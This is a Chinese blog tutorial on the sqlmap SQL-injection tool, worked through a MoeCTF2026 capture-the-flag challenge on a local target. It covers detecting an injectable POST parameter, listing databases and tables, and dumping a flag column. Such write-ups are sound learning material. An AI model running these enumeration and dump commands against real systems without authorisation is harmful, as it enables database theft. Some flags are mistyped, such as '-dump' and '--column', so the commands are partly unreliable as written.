mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
312 字
1 分钟
sqlmap使用实例
2026-09-17

sqlmap使用实例#

安装相关#

怎么安装应该都会的吧
这里贴一个Github链接

sqlmapproject
/
sqlmap
Waiting for api.github.com...
00K
0K
0K
Waiting...
# sqlmap 是纯 Python 标准库,无需 pip 安装任何依赖
# 唯一要求:Python >= 2.7 或 Python 3.x
python --version # Python 3.8+ 推荐
# 可选依赖(部分高级特性需要)
pip install pymysql # MySQL 直连
pip install psycopg2 # PostgreSQL 直连
pip install cx_Oracle # Oracle 直连
pip install pyodbc # SQL Server 直连
pip install impacket # Windows 认证
pip install certifi # HTTPS 请求

使用相关#

这里目前就写我用到的功能,之后有什么新功能我用到了到时间再补

1.检查注入点#

sqlmap -u 'http://xx/?id=1'

以 MoeCTF2026 河湖小盗 为例
1 这里可以看到是用的post方法来上传id=1查找的
那么在sqlmap加上post的参数

python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch //--batch 是自动回答交互问题,所有选项都选默认选项

得到下面的结果
2
这里是说有三种注入可用

  1. 布尔盲注
  2. 时间盲注
  3. 联合查询注入

这里我们当然使用联合查询注入,来看看有什么数据库

2.查看所有数据库#

sqlmap -u 'http://xx/?id=1' --dbs

这里这道题用

python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch --dbs

3 看到了有三个库

  1. information_schema //系统库
  2. past_paper
  3. performance_schema //系统库

所以这个past_paper大概率就是这道题用的数据库了

3.查看当前使用的数据库#

sqlmap -u 'http://xx/?id=1' --current-db
python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --current-db

4

4.查看数据表#

sqlmap -u 'http://xx/?id=1' -D 'security' --tables
python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch -D past_paper --tables

5 这里列出了past_paper这个库的表,一眼丁真一下,flag_table就是我们要找的表

5.查看字段#

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

然后我们来查看flag_table这个表下的字段

python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch -D past_paper --tables -T flag_table --column

6 已经看到flag了,接下来查看flag的数据就行了

6.查看数据#

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
python sqlmap.py -u "http://127.0.0.1:8998/" --data="id=1" --batch -D past_paper --tables -T flag_table -C "flag" -dump

7 OK了,得到flag了,「Mission Accomplished」

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

sqlmap使用实例
http://www.hitachimako.xyz/posts/sqlmap_use/
作者
Kniffe
发布于
2026-09-17
许可协议
Unlicensed

部分信息可能已经过时

目录